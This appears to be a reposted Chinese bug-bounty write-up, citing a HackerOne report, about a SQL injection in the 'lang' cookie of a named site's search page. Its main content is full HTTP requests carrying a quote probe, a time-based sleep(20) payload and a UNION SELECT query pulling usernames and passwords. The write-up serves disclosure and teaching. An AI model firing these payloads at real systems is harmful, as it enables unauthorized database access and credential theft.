通过cookie中的参数所引发的sql注入
2024-7-19 23:46:44 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

通过cookie中的参数所引发的sql注入

前言

在请求的cookie参数中,有一个名为lang的参数存在SQL注入漏洞。

在这个参数中注入一个单引号(')时,会引发SQL语法错误;而注入第二个单引号后,错误会消失。这表明参数中的输入没有正确地进行转义或过滤,从而使得恶意的SQL代码得以执行。

正文

正常情况下和受到攻击时的请求示例:

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

受到sql注入攻击时候的请求

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en'; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

报错如下:

当然也可以使用 查询语句:

'%2b(select*from(select(sleep(20)))a)%2b'

将构造好的查询注入到原始的HTTP请求中,发送给目标服务器。注入点是请求的cookie参数lang:


GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en%2b(select*from(select(sleep(20)))a)%2b; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1
Upgrade-Insecure-Requests: 1

发送请求后,观察服务器的响应时间。如果服务器在处理请求时出现明显的延迟(如20秒),则表明注入的查询被服务器执行了。这个时间延迟是由SQL中的SLEEP(20)函数引起的。

确认sql注入存在以后 ,进行漏洞利用

攻击者可以构造各种恶意SQL查询来窃取或修改数据。例如,通过以下查询来窃取用户信息:

' UNION SELECT username, password FROM users --

发送恶意请求 攻击者将恶意查询注入到lang参数中,并发送请求:

GET /index.php/search/default?t=1&x=0&y=0 HTTP/1.1
Host: mtn.com.ye
Cookie: PHPSESSID=86ce3d04baa357ffcacf5d013679b696; lang=en' UNION SELECT username, password FROM users -- ; _ga=GA1.3.1859249834.1576704214; _gid=GA1.3.1031541111.1576704214; _gat=1; _gat_UA-44336198-10=1

攻击者检查服务器的响应,查看是否包含用户数据。如果成功,攻击者就能够获取数据库中的敏感信息。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

参考

https://hackerone.com/reports/761304


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495310&idx=1&sn=e7b09604b13f49cd64cca5887a292dc9&chksm=e8a5e4eddfd26dfb808c058348116e8fb24584274d289052b3b641500b185507ec579a49771b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh